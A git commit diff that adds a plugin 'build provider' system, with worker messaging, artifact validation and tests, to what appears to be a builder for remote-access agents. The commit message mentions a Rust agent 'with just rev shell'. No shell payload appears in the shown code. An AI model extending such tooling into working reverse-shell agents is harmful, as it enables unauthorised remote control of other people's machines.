mess around with a rust agent version with just rev shell.

This commit is contained in:
KingKDot
2026-08-19 09:54:52 -05:00
parent 691e1c3ba4
commit 7a8fcf39ec
47 changed files with 4790 additions and 93 deletions
+2
View File
@@ -11,6 +11,8 @@ export type BuildStream = {
export type BuildConfig = {
platforms: string[];
buildProvider?: string;
buildPlugins?: Record<string, { enabled: boolean; settings: Record<string, unknown> }>;
serverUrl?: string;
rawServerList?: boolean;
mutex?: string;
+6
View File
@@ -247,6 +247,10 @@ const WINRE_ROOT = path.join(DATA_DIR, "winre");
const FILE_SHARE_ROOT = path.join(DATA_DIR, "file-share");
function resolvePluginWorkerHostUrl(): string {
const currentModulePath = fileURLToPath(import.meta.url);
if (currentModulePath.endsWith(`${path.sep}src${path.sep}main-server.ts`)) {
return new URL("./server/plugin-runtime/worker-host.ts", import.meta.url).href;
}
const builtWorker = path.join(RUNTIME_ROOT, "dist", "server", "plugin-runtime", "worker-host.js");
if (existsSync(builtWorker)) {
return pathToFileURL(builtWorker).href;
@@ -311,6 +315,8 @@ const startBuildProcess = (buildId: string, buildConfig: any) =>
sanitizeOutputName,
fileShareRoot: FILE_SHARE_ROOT,
runBuildHookForAll: (hook, payload) => pluginRuntime.runBuildHookForAll(hook, payload),
runBuildProvider: (pluginId, payload, onOutput) =>
pluginRuntime.runBuildProvider(pluginId, payload, onOutput),
});
const pendingHttpDownloads = new Map<string, PendingHttpDownload>();
+8
View File
@@ -394,11 +394,19 @@ export type PluginBuildIntegration = {
enabledByDefault?: boolean;
label?: string;
description?: string;
provider?: PluginBuildProvider;
settings?: PluginBuildSetting[];
actions?: PluginBuildAction[];
requires?: PluginBuildRequirement[];
};
export type PluginBuildProvider = {
label?: string;
description?: string;
icon?: string;
platforms: string[];
};
export type PluginBuildSetting = {
key: string;
label?: string;
+206 -62
View File
@@ -25,6 +25,8 @@ import { resolveContainedPath } from "./upload-security";
import { createIsolatedBuildEnv } from "./build-environment";
import { cleanupMacosSdkUpload, extractAndValidateMacosSdk } from "./macos-sdk-manager";
import { getActiveTlsSpkiPins } from "./tls-bootstrap";
import { installProviderArtifacts, providerStagingDirectory } from "./plugin-build-provider";
import type { PluginBuildProviderOutput } from "./plugin-runtime/runtime";
export function createAgentTlsPinsLdflag(pins: string[]): string {
if (pins.length === 0) return "";
@@ -95,6 +97,7 @@ type BoundFile = {
type BuildProcessConfig = {
platforms: string[];
buildProvider?: string;
serverUrl?: string;
rawServerList?: boolean;
mutex?: string;
@@ -287,6 +290,11 @@ type BuildProcessDeps = {
sanitizeOutputName: (name: string) => string;
fileShareRoot?: string;
runBuildHookForAll?: BuildHookRunner;
runBuildProvider?: (
pluginId: string,
payload: unknown,
onOutput: (output: PluginBuildProviderOutput) => void,
) => Promise<unknown>;
};
function guessMimeTypeForUpload(filename: string): string {
@@ -614,12 +622,76 @@ export async function startBuildProcess(
}
};
const finishSuccessfulBuild = async (outDir: string, buildTag?: string) => {
build.status = "completed";
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
try {
await uploadBuildFilesToFileShare(
build,
outDir,
deps.fileShareRoot,
config.builtByUserId,
sendToStream,
);
} catch (uploadErr: any) {
sendToStream({
type: "output",
text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
level: "warn",
});
}
} else if (config.uploadToFileShare && !deps.fileShareRoot) {
sendToStream({
type: "output",
text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
level: "warn",
});
}
await runBuildHooks(
deps.runBuildHookForAll,
"complete",
{
buildId,
status: build.status,
files: build.files,
outputDir: outDir,
expiresAt: build.expiresAt,
userId: config.builtByUserId,
config,
},
sendToStream,
);
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
saveBuild({
id: build.id,
status: build.status,
startTime: build.startTime,
expiresAt: build.expiresAt,
files: build.files as any,
buildTag,
builtByUserId: config.builtByUserId,
initialClientTag: config.initialClientTag,
});
setTimeout(() => {
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
buildManager.deleteBuildStream(buildId);
}, SEVEN_DAYS_MS);
};
let winresTempDir: string | null = null;
const generatedSysoFiles: string[] = [];
let binderGenPath: string | null = null;
let binderFilesDir: string | null = null;
let binderLockPath: string | null = null;
let macosSdkRoot: string | null = null;
let providerStagingDir: string | null = null;
const buildStartedAt = Date.now();
const keepAliveTimer = setInterval(() => {
@@ -654,6 +726,136 @@ export async function startBuildProcess(
);
}
const rootDir = resolveRuntimeRoot();
const outDir = path.join(rootDir, "dist-clients");
if (config.buildProvider) {
if (!deps.runBuildProvider) {
throw new Error("Plugin build providers are not available");
}
const buildTag = await signBuildToken({
v: 1,
bid: buildId,
uid: config.builtByUserId ?? null,
iat: Math.floor(Date.now() / 1000),
});
providerStagingDir = providerStagingDirectory(rootDir, buildId);
fs.rmSync(providerStagingDir, { recursive: true, force: true });
fs.mkdirSync(providerStagingDir, { recursive: true });
fs.mkdirSync(outDir, { recursive: true });
sendToStream({ type: "status", text: `Starting ${config.buildProvider} build provider...` });
sendToStream({
type: "output",
text: `Build provider: ${config.buildProvider}\n`,
level: "info",
});
const providerResult = await deps.runBuildProvider(
config.buildProvider,
{
buildId,
providerId: config.buildProvider,
runtimeRoot: rootDir,
outputDir: providerStagingDir,
platforms: config.platforms,
serverUrl: config.serverUrl,
agentToken: buildAgentToken,
buildTag,
tlsSpkiPins: buildTlsSpkiPins,
initialClientTag: config.initialClientTag,
outputName: config.outputName,
settings: config.buildPlugins?.[config.buildProvider]?.settings || {},
config,
},
(output) => {
const text = String(output.text || "").slice(0, 64 * 1024);
if (!text) return;
if (output.event === "status") {
const progress = Number.isFinite(output.progress)
? Math.max(0, Math.min(100, Number(output.progress)))
: undefined;
const etaSeconds = Number.isFinite(output.etaSeconds)
? Math.max(0, Math.min(7 * 24 * 60 * 60, Math.round(Number(output.etaSeconds))))
: undefined;
sendToStream({ type: "status", text, progress, etaSeconds });
} else {
sendToStream({
type: "output",
text: text.endsWith("\n") ? text : `${text}\n`,
level: output.level || "info",
});
}
},
);
const providerFiles = installProviderArtifacts({
result: providerResult,
stagingDir: providerStagingDir,
outputDir: outDir,
buildId,
requestedPlatforms: config.platforms,
sanitizeOutputName: deps.sanitizeOutputName,
});
for (const installed of providerFiles) {
let finalFile = { ...installed };
const extraFiles: any[] = [];
const artifactPayload = {
buildId,
providerId: config.buildProvider,
platform: finalFile.platform,
outDir,
file: {
...finalFile,
path: path.join(outDir, finalFile.filename),
},
files: cloneForHook(build.files),
config,
};
for (const item of await runBuildHooks(deps.runBuildHookForAll, "artifact", artifactPayload, sendToStream)) {
if (!isRecord(item.result)) continue;
const replacement = isRecord(item.result.file) ? item.result.file : item.result;
if (typeof replacement.filename === "string" && replacement.filename.trim()) {
const safeFilename = deps.sanitizeOutputName(path.basename(replacement.filename.trim()));
const candidatePath = resolveContainedPath(outDir, safeFilename);
if (fs.existsSync(candidatePath)) {
finalFile = {
...finalFile,
filename: safeFilename,
size: fs.statSync(candidatePath).size,
};
} else {
sendToStream({
type: "output",
text: `[plugin:${item.pluginId}] WARNING: artifact hook returned missing file ${safeFilename}; keeping ${finalFile.filename}\n`,
level: "warn",
});
}
}
if (Array.isArray(item.result.files)) {
for (const rawFile of item.result.files) {
if (!isRecord(rawFile) || typeof rawFile.filename !== "string" || !rawFile.filename.trim()) continue;
const safeFilename = deps.sanitizeOutputName(path.basename(rawFile.filename.trim()));
const candidatePath = resolveContainedPath(outDir, safeFilename);
if (!fs.existsSync(candidatePath)) continue;
const stat = fs.statSync(candidatePath);
extraFiles.push({
name: typeof rawFile.name === "string" && rawFile.name.trim() ? rawFile.name.trim() : safeFilename,
filename: safeFilename,
platform: typeof rawFile.platform === "string" ? rawFile.platform : finalFile.platform,
version: typeof rawFile.version === "string" ? rawFile.version : finalFile.version,
size: stat.size,
});
}
}
}
(build.files as any[]).push(finalFile, ...extraFiles);
}
await finishSuccessfulBuild(outDir, buildTag);
return;
}
sendToStream({ type: "status", text: "Preparing build environment..." });
try {
@@ -671,7 +873,6 @@ export async function startBuildProcess(
return;
}
const rootDir = resolveRuntimeRoot();
const clientDir = resolveClientModuleDir(rootDir);
if (!clientDir) {
throw new Error(
@@ -679,7 +880,6 @@ export async function startBuildProcess(
);
}
const agentVersion = detectAgentVersion(clientDir);
const outDir = path.join(rootDir, "dist-clients");
const cacheRoot = resolveClientBuildCacheRoot();
const goBuildCacheDir = path.join(cacheRoot, "go-build");
const goModCacheDir = path.join(cacheRoot, "go-mod");
@@ -2230,66 +2430,7 @@ func runBoundFiles() {
}
}
build.status = "completed";
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
try {
await uploadBuildFilesToFileShare(
build,
outDir,
deps.fileShareRoot,
config.builtByUserId,
sendToStream,
);
} catch (uploadErr: any) {
sendToStream({
type: "output",
text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
level: "warn",
});
}
} else if (config.uploadToFileShare && !deps.fileShareRoot) {
sendToStream({
type: "output",
text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
level: "warn",
});
}
await runBuildHooks(
deps.runBuildHookForAll,
"complete",
{
buildId,
status: build.status,
files: build.files,
outputDir: outDir,
expiresAt: build.expiresAt,
userId: config.builtByUserId,
config,
},
sendToStream,
);
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
saveBuild({
id: build.id,
status: build.status,
startTime: build.startTime,
expiresAt: build.expiresAt,
files: build.files as any,
buildTag,
builtByUserId: config.builtByUserId,
initialClientTag: config.initialClientTag,
});
setTimeout(() => {
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
buildManager.deleteBuildStream(buildId);
}, SEVEN_DAYS_MS);
await finishSuccessfulBuild(outDir, buildTag);
} catch (err: any) {
build.status = "failed";
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
@@ -2335,6 +2476,9 @@ func runBoundFiles() {
if (binderLockPath) {
try { fs.unlinkSync(binderLockPath); } catch {}
}
if (providerStagingDir) {
try { fs.rmSync(providerStagingDir, { recursive: true, force: true }); } catch {}
}
cleanupMacosSdkUpload(config.macosSdkUploadDir);
}
}
@@ -0,0 +1,69 @@
import { afterEach, describe, expect, test } from "bun:test";
import { mkdtemp, mkdir, rm, writeFile } from "fs/promises";
import { tmpdir } from "os";
import { join } from "path";
import { installProviderArtifacts, providerStagingDirectory } from "./plugin-build-provider";
const roots: string[] = [];
afterEach(async () => {
await Promise.all(roots.map((root) => rm(root, { recursive: true, force: true })));
roots.length = 0;
});
async function fixture() {
const root = await mkdtemp(join(tmpdir(), "overlord-provider-test-"));
roots.push(root);
const buildId = "12345678-1234-1234-1234-123456789abc";
const stagingDir = providerStagingDirectory(root, buildId);
const outputDir = join(root, "dist-clients");
await mkdir(stagingDir, { recursive: true });
return { root, buildId, stagingDir, outputDir };
}
describe("plugin build provider artifacts", () => {
test("installs validated artifacts with a unique build suffix", async () => {
const dirs = await fixture();
await writeFile(join(dirs.stagingDir, "lite.exe"), "rust-lite");
const files = installProviderArtifacts({
result: { artifacts: [{ filename: "lite.exe", platform: "windows-amd64", version: "0.1.0" }] },
stagingDir: dirs.stagingDir,
outputDir: dirs.outputDir,
buildId: dirs.buildId,
requestedPlatforms: ["windows-amd64"],
sanitizeOutputName: (name) => name.replace(/[^A-Za-z0-9._-]/g, ""),
});
expect(files).toEqual([{
name: "lite.exe",
filename: "lite-12345678.exe",
platform: "windows-amd64",
version: "0.1.0",
size: 9,
}]);
});
test("rejects traversal and unrequested platforms", async () => {
const dirs = await fixture();
await writeFile(join(dirs.root, "outside.exe"), "outside");
expect(() => installProviderArtifacts({
result: { artifacts: [{ path: "../../../outside.exe", filename: "outside.exe", platform: "windows-amd64" }] },
stagingDir: dirs.stagingDir,
outputDir: dirs.outputDir,
buildId: dirs.buildId,
requestedPlatforms: ["windows-amd64"],
sanitizeOutputName: (name) => name,
})).toThrow("escaped");
await writeFile(join(dirs.stagingDir, "lite"), "lite");
expect(() => installProviderArtifacts({
result: { artifacts: [{ filename: "lite", platform: "linux-arm64" }] },
stagingDir: dirs.stagingDir,
outputDir: dirs.outputDir,
buildId: dirs.buildId,
requestedPlatforms: ["linux-amd64"],
sanitizeOutputName: (name) => name,
})).toThrow("unrequested platform");
});
});
@@ -0,0 +1,125 @@
import fs from "fs";
import path from "path";
const MAX_PROVIDER_ARTIFACTS = 32;
const MAX_PROVIDER_ARTIFACT_BYTES = 512 * 1024 * 1024;
export type ProviderArtifact = {
name: string;
filename: string;
platform: string;
version?: string;
size: number;
};
function isRecord(value: unknown): value is Record<string, any> {
return !!value && typeof value === "object" && !Array.isArray(value);
}
function isInside(root: string, target: string): boolean {
const prefix = root.endsWith(path.sep) ? root : `${root}${path.sep}`;
return target === root || target.startsWith(prefix);
}
function withBuildSlug(filename: string, slug: string): string {
const extension = path.extname(filename);
const stem = filename.slice(0, filename.length - extension.length);
return stem.endsWith(`-${slug}`) ? filename : `${stem}-${slug}${extension}`;
}
export function providerStagingDirectory(runtimeRoot: string, buildId: string): string {
if (!/^[A-Za-z0-9-]{8,64}$/.test(buildId)) {
throw new Error("Invalid provider build id");
}
return path.join(runtimeRoot, "dist-clients", ".plugin-builds", buildId);
}
export function installProviderArtifacts(args: {
result: unknown;
stagingDir: string;
outputDir: string;
buildId: string;
requestedPlatforms: string[];
sanitizeOutputName: (name: string) => string;
}): ProviderArtifact[] {
if (!isRecord(args.result) || !Array.isArray(args.result.artifacts)) {
throw new Error("Build provider must return an artifacts array");
}
if (args.result.artifacts.length === 0) {
throw new Error("Build provider returned no artifacts");
}
if (args.result.artifacts.length > MAX_PROVIDER_ARTIFACTS) {
throw new Error(`Build provider returned more than ${MAX_PROVIDER_ARTIFACTS} artifacts`);
}
const realStagingDir = fs.realpathSync(args.stagingDir);
const requestedPlatforms = new Set(args.requestedPlatforms);
const buildSlug = args.buildId.substring(0, 8);
const installed: ProviderArtifact[] = [];
const installedPaths: string[] = [];
const names = new Set<string>();
try {
for (const raw of args.result.artifacts) {
if (!isRecord(raw)) throw new Error("Build provider returned an invalid artifact");
const relativePath = typeof raw.path === "string" && raw.path.trim()
? raw.path.trim()
: typeof raw.filename === "string"
? raw.filename.trim()
: "";
if (!relativePath || path.isAbsolute(relativePath)) {
throw new Error("Provider artifact paths must be relative to the build output directory");
}
const sourcePath = path.resolve(args.stagingDir, relativePath);
if (!isInside(path.resolve(args.stagingDir), sourcePath)) {
throw new Error("Provider artifact escaped the build output directory");
}
const sourceStat = fs.lstatSync(sourcePath);
if (sourceStat.isSymbolicLink() || !sourceStat.isFile()) {
throw new Error("Provider artifacts must be regular files");
}
const realSourcePath = fs.realpathSync(sourcePath);
if (!isInside(realStagingDir, realSourcePath)) {
throw new Error("Provider artifact resolved outside the build output directory");
}
if (sourceStat.size <= 0 || sourceStat.size > MAX_PROVIDER_ARTIFACT_BYTES) {
throw new Error("Provider artifact has an invalid size");
}
const platform = typeof raw.platform === "string" ? raw.platform.trim() : "";
if (!requestedPlatforms.has(platform)) {
throw new Error(`Provider returned an artifact for unrequested platform ${platform || "<empty>"}`);
}
const suggestedName = typeof raw.filename === "string" && raw.filename.trim()
? path.basename(raw.filename.trim())
: path.basename(relativePath);
const sanitizedName = args.sanitizeOutputName(suggestedName);
if (!sanitizedName) throw new Error("Provider returned an invalid artifact filename");
const filename = withBuildSlug(sanitizedName, buildSlug);
if (names.has(filename)) throw new Error(`Provider returned duplicate artifact ${filename}`);
names.add(filename);
fs.mkdirSync(args.outputDir, { recursive: true });
const destinationPath = path.join(args.outputDir, filename);
fs.copyFileSync(realSourcePath, destinationPath);
installedPaths.push(destinationPath);
const size = fs.statSync(destinationPath).size;
installed.push({
name: typeof raw.name === "string" && raw.name.trim()
? raw.name.trim().slice(0, 128)
: suggestedName,
filename,
platform,
...(typeof raw.version === "string" && raw.version.trim() && { version: raw.version.trim().slice(0, 64) }),
size,
});
}
return installed;
} catch (error) {
for (const installedPath of installedPaths) {
try { fs.unlinkSync(installedPath); } catch {}
}
throw error;
}
}
@@ -0,0 +1,85 @@
import { afterEach, describe, expect, test } from "bun:test";
import { mkdtemp, mkdir, rm, writeFile } from "fs/promises";
import { tmpdir } from "os";
import { join } from "path";
import { createPluginRuntime } from "./runtime";
const roots: string[] = [];
afterEach(async () => {
await Promise.all(roots.map((root) => rm(root, { recursive: true, force: true })));
roots.length = 0;
});
describe("plugin build providers", () => {
test("streams provider output and returns its artifacts", async () => {
const root = await mkdtemp(join(tmpdir(), "overlord-plugin-runtime-test-"));
roots.push(root);
const pluginDir = join(root, "provider");
await mkdir(pluginDir, { recursive: true });
await writeFile(join(pluginDir, "server.js"), `
export default {
onBuild(ctx, payload) {
ctx.build.status("Compiling test provider", 35, 42);
ctx.build.output("cargo output", "success");
return { artifacts: [{ filename: payload.filename, platform: "windows-amd64" }] };
}
};
`);
const errors: string[] = [];
const runtime = createPluginRuntime({
pluginRoot: root,
workerHostUrl: new URL("./worker-host.ts", import.meta.url).href,
setLastError: (_pluginId, error) => errors.push(error),
});
try {
await runtime.startPlugin("provider");
const output: any[] = [];
const result = await runtime.runBuildProvider(
"provider",
{ filename: "lite.exe" },
(event) => output.push(event),
);
expect(result).toEqual({
artifacts: [{ filename: "lite.exe", platform: "windows-amd64" }],
});
expect(output).toEqual([
{ event: "status", text: "Compiling test provider", level: undefined, progress: 35, etaSeconds: 42 },
{ event: "output", text: "cargo output", level: "success" },
]);
expect(errors).toEqual([]);
} finally {
await runtime.shutdownAll();
}
});
test("rejects immediately when a stale worker lacks build-provider support", async () => {
const root = await mkdtemp(join(tmpdir(), "overlord-plugin-runtime-stale-test-"));
roots.push(root);
const pluginDir = join(root, "provider");
await mkdir(pluginDir, { recursive: true });
await writeFile(join(pluginDir, "server.js"), "export default {};\n");
const staleWorker = join(root, "stale-worker.js");
await writeFile(staleWorker, `
self.onmessage = (event) => {
if (event.data?.type === "boot") self.postMessage({ type: "ready" });
};
`);
const runtime = createPluginRuntime({
pluginRoot: root,
workerHostUrl: staleWorker,
setLastError: () => {},
});
try {
await runtime.startPlugin("provider");
await expect(runtime.runBuildProvider("provider", {}, () => {})).rejects.toThrow(
"does not support build providers",
);
} finally {
await runtime.shutdownAll();
}
});
});
@@ -17,6 +17,18 @@ type PendingCall = {
timer: ReturnType<typeof setTimeout>;
};
export type PluginBuildProviderOutput = {
event: "output" | "status";
text: string;
level?: "debug" | "info" | "warn" | "error" | "success";
progress?: number;
etaSeconds?: number;
};
type PendingBuildProviderCall = PendingCall & {
onOutput: (output: PluginBuildProviderOutput) => void;
};
type PluginInstance = {
pluginId: string;
worker: Worker;
@@ -26,12 +38,15 @@ type PluginInstance = {
isReady: boolean;
pending: Map<string, PendingCall>;
pendingBuildHooks: Map<string, PendingCall>;
pendingBuildProviders: Map<string, PendingBuildProviderCall>;
capabilities: Set<string>;
subscribers: Set<Subscriber>;
startedAt: number;
};
const RPC_TIMEOUT_MS = 30_000;
const BUILD_HOOK_TIMEOUT_MS = 5 * 60_000;
const BUILD_PROVIDER_TIMEOUT_MS = 30 * 60_000;
const SHUTDOWN_GRACE_MS = 750;
export type PluginRuntime = {
@@ -52,6 +67,11 @@ export type PluginRuntime = {
) => Promise<unknown>;
runBuildHook: (pluginId: string, hook: string, payload: unknown) => Promise<unknown>;
runBuildHookForAll: (hook: string, payload: unknown) => Promise<Array<{ pluginId: string; result: unknown }>>;
runBuildProvider: (
pluginId: string,
payload: unknown,
onOutput: (output: PluginBuildProviderOutput) => void,
) => Promise<unknown>;
subscribe: (
pluginId: string,
send: (sse: string) => void,
@@ -111,6 +131,8 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
isReady: false,
pending: new Map(),
pendingBuildHooks: new Map(),
pendingBuildProviders: new Map(),
capabilities: new Set(),
subscribers: new Set(),
startedAt: Date.now(),
};
@@ -172,6 +194,11 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
pending.reject(new Error("Plugin runtime stopped"));
}
inst.pendingBuildHooks.clear();
for (const pending of inst.pendingBuildProviders.values()) {
clearTimeout(pending.timer);
pending.reject(new Error("Plugin runtime stopped"));
}
inst.pendingBuildProviders.clear();
try {
const shutdownMsg: WorkerInbound = { type: "shutdown" };
@@ -293,6 +320,42 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
return results;
}
function runBuildProvider(
pluginId: string,
payload: unknown,
onOutput: (output: PluginBuildProviderOutput) => void,
): Promise<unknown> {
const inst = instances.get(pluginId);
if (!inst) {
return Promise.reject(new Error("Plugin runtime not running"));
}
const callOnReady = () =>
new Promise((resolve, reject) => {
if (!inst.capabilities.has("build_provider")) {
reject(new Error(
"Plugin worker does not support build providers. Rebuild the server bundle and restart the server.",
));
return;
}
const id = uuidv4();
const timer = setTimeout(() => {
if (inst.pendingBuildProviders.delete(id)) {
reject(new Error("Build provider timed out"));
}
}, BUILD_PROVIDER_TIMEOUT_MS);
inst.pendingBuildProviders.set(id, { resolve, reject, timer, onOutput });
const msg: WorkerInbound = { type: "build_provider", id, payload };
try {
inst.worker.postMessage(msg);
} catch (err) {
clearTimeout(timer);
inst.pendingBuildProviders.delete(id);
reject(err instanceof Error ? err : new Error(String(err)));
}
});
return inst.isReady ? callOnReady() : inst.ready.then(callOnReady);
}
function subscribe(
pluginId: string,
send: (sse: string) => void,
@@ -309,6 +372,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
function handleWorkerMessage(inst: PluginInstance, msg: WorkerOutbound) {
if (msg.type === "ready") {
inst.capabilities = new Set(Array.isArray(msg.capabilities) ? msg.capabilities : []);
inst.resolveReady();
return;
}
@@ -335,6 +399,27 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
else pending.reject(new Error(msg.error));
return;
}
if (msg.type === "build_provider_output") {
const pending = inst.pendingBuildProviders.get(msg.id);
if (!pending) return;
pending.onOutput({
event: msg.event,
text: msg.text,
level: msg.level,
...(msg.progress !== undefined && { progress: msg.progress }),
...(msg.etaSeconds !== undefined && { etaSeconds: msg.etaSeconds }),
});
return;
}
if (msg.type === "build_provider_reply") {
const pending = inst.pendingBuildProviders.get(msg.id);
if (!pending) return;
clearTimeout(pending.timer);
inst.pendingBuildProviders.delete(msg.id);
if (msg.ok) pending.resolve(msg.result);
else pending.reject(new Error(msg.error));
return;
}
if (msg.type === "broadcast") {
const safeChannel = String(msg.channel || "message").replace(/[\r\n]/g, "");
const dataLine = JSON.stringify(msg.data ?? null);
@@ -370,6 +455,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
rpc,
runBuildHook,
runBuildHookForAll,
runBuildProvider,
subscribe,
isRunning,
hasServerCode,
@@ -31,16 +31,32 @@ export type WorkerInbound =
hook: string;
payload: unknown;
}
| {
type: "build_provider";
id: string;
payload: unknown;
}
| {
type: "shutdown";
};
export type WorkerOutbound =
| { type: "ready" }
| { type: "ready"; capabilities?: string[] }
| { type: "boot_error"; error: string }
| { type: "rpc_reply"; id: string; ok: true; result: unknown }
| { type: "rpc_reply"; id: string; ok: false; error: string }
| { type: "build_hook_reply"; id: string; ok: true; result: unknown }
| { type: "build_hook_reply"; id: string; ok: false; error: string }
| { type: "build_provider_reply"; id: string; ok: true; result: unknown }
| { type: "build_provider_reply"; id: string; ok: false; error: string }
| {
type: "build_provider_output";
id: string;
event: "output" | "status";
text: string;
level?: "debug" | "info" | "warn" | "error" | "success";
progress?: number;
etaSeconds?: number;
}
| { type: "broadcast"; channel: string; data: unknown }
| { type: "log"; level: "debug" | "info" | "warn" | "error"; message: string };
@@ -33,6 +33,7 @@ type PluginExports = {
onBuildArtifact?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
onBuildComplete?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
onBuildFailed?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
onBuild?: (ctx: PluginBuildProviderContext, payload: unknown) => unknown | Promise<unknown>;
teardown?: (ctx: PluginContext) => unknown | Promise<unknown>;
};
@@ -50,6 +51,13 @@ type PluginContext = {
broadcast: (channel: string, data: unknown) => void;
};
type PluginBuildProviderContext = PluginContext & {
build: {
output: (text: string, level?: "debug" | "info" | "warn" | "error" | "success") => void;
status: (text: string, progress?: number, etaSeconds?: number) => void;
};
};
let plugin: PluginExports | null = null;
let db: Database | null = null;
let ctx: PluginContext | null = null;
@@ -99,7 +107,7 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
await plugin.setup(ctx);
}
send({ type: "ready" });
send({ type: "ready", capabilities: ["build_provider"] });
} catch (err) {
const error = err instanceof Error ? `${err.message}\n${err.stack || ""}` : String(err);
send({ type: "boot_error", error });
@@ -184,6 +192,47 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
return;
}
if (msg.type === "build_provider") {
if (!plugin || !ctx) {
send({ type: "build_provider_reply", id: msg.id, ok: false, error: "Plugin not initialised" });
return;
}
if (typeof plugin.onBuild !== "function") {
send({ type: "build_provider_reply", id: msg.id, ok: false, error: "Plugin does not export onBuild" });
return;
}
const buildCtx: PluginBuildProviderContext = {
...ctx,
build: {
output: (text, level = "info") => send({
type: "build_provider_output",
id: msg.id,
event: "output",
text: String(text),
level,
}),
status: (text, progress, etaSeconds) => send({
type: "build_provider_output",
id: msg.id,
event: "status",
text: String(text),
progress,
etaSeconds,
}),
},
};
try {
const result = await plugin.onBuild(buildCtx, msg.payload);
send({ type: "build_provider_reply", id: msg.id, ok: true, result: result ?? null });
} catch (err) {
const error = err instanceof Error ? err.message : String(err);
const stack = err instanceof Error ? err.stack || "" : "";
console.error(`[plugin-worker] build provider error: ${error}`, stack);
send({ type: "build_provider_reply", id: msg.id, ok: false, error });
}
return;
}
if (msg.type === "shutdown") {
if (plugin && ctx && typeof plugin.teardown === "function") {
try {
@@ -175,6 +175,35 @@ describe("loadPluginBundle", () => {
expect(manifest.dashboard.clientBadges[0].imageUrl).toBe("/plugins/demo/assets/icon.png");
});
test("preserves a sanitized custom build provider declaration", async () => {
const root = await createTempRoot();
const AdmZip = require("adm-zip");
const zip = new AdmZip();
zip.addFile("config.json", Buffer.from(JSON.stringify({
name: "Rust Builder",
runtime: "server",
build: {
provider: {
label: "Rust Lite",
icon: "fa-brands fa-rust",
platforms: ["windows-amd64", "linux-arm64", "../../invalid"],
},
},
})));
zip.addFile("rust-builder.html", Buffer.from("<main></main>"));
zip.addFile("rust-builder.css", Buffer.from("main { display: block; }"));
zip.addFile("rust-builder.js", Buffer.from("document.body.dataset.builder = 'rust';"));
zip.addFile("server.js", Buffer.from("export default { onBuild() { return { artifacts: [] }; } };"));
zip.writeZip(join(root, "rust-builder.zip"));
await ensurePluginExtracted(root, "rust-builder", (name) => name);
const manifest = JSON.parse(await readFile(join(root, "rust-builder", "manifest.json"), "utf-8"));
expect(manifest.build.provider.label).toBe("Rust Lite");
expect(manifest.build.provider.platforms).toEqual(["windows-amd64", "linux-arm64"]);
expect(manifest.hasServer).toBe(true);
});
test("computes stable need hashes and invalidates changed approvals", () => {
const state: PluginState = {
enabled: {},
@@ -682,6 +682,24 @@ function normalizePluginBuildIntegration(raw: any): any | undefined {
if (typeof raw.label === "string" && raw.label.trim()) build.label = raw.label.trim().slice(0, 80);
if (typeof raw.description === "string" && raw.description.trim()) build.description = raw.description.trim().slice(0, 300);
if (raw.provider && typeof raw.provider === "object" && !Array.isArray(raw.provider)) {
const platforms = Array.isArray(raw.provider.platforms)
? Array.from(new Set<string>(raw.provider.platforms
.filter((value: unknown): value is string => typeof value === "string")
.map((value: string) => value.trim().toLowerCase())
.filter((value: string) => /^(windows|linux|darwin|freebsd|android|ios)-(amd64|arm64|386|armv7)$/.test(value))))
.slice(0, 32)
: [];
if (platforms.length > 0) {
build.provider = {
platforms,
...(typeof raw.provider.label === "string" && raw.provider.label.trim() && { label: raw.provider.label.trim().slice(0, 80) }),
...(typeof raw.provider.description === "string" && raw.provider.description.trim() && { description: raw.provider.description.trim().slice(0, 300) }),
...(typeof raw.provider.icon === "string" && raw.provider.icon.trim() && { icon: raw.provider.icon.trim().slice(0, 80) }),
};
}
}
const settings: any[] = [];
if (Array.isArray(raw.settings)) {
for (const item of raw.settings.slice(0, 20)) {
@@ -95,12 +95,21 @@ async function sanitizeBuildPlugins(
deps: BuildRouteDeps,
user: any,
buildConfig: any,
requiredProviderId?: string,
): Promise<{ value: Record<string, any>; error?: string }> {
if (!raw || typeof raw !== "object" || !deps.listPluginManifests) return { value: {} };
if (!deps.listPluginManifests) return { value: {} };
const manifests = await deps.listPluginManifests();
const byId = new Map(manifests.map((m) => [m.id, m]));
const value: Record<string, any> = {};
for (const [pluginId, rawPlugin] of Object.entries(raw)) {
const requested = raw && typeof raw === "object" && !Array.isArray(raw) ? { ...raw } : {};
if (requiredProviderId) {
const providerRecord = requested[requiredProviderId];
requested[requiredProviderId] = {
...(providerRecord && typeof providerRecord === "object" ? providerRecord : {}),
enabled: true,
};
}
for (const [pluginId, rawPlugin] of Object.entries(requested)) {
if (!/^[A-Za-z0-9._-]{1,128}$/.test(pluginId)) continue;
const manifest = byId.get(pluginId);
if (!manifest?.build || !canUserAccessPlugin(user.userId, user.role, pluginId)) continue;
@@ -183,6 +192,7 @@ export async function handleBuildRoutes(
const body = await req.json();
const {
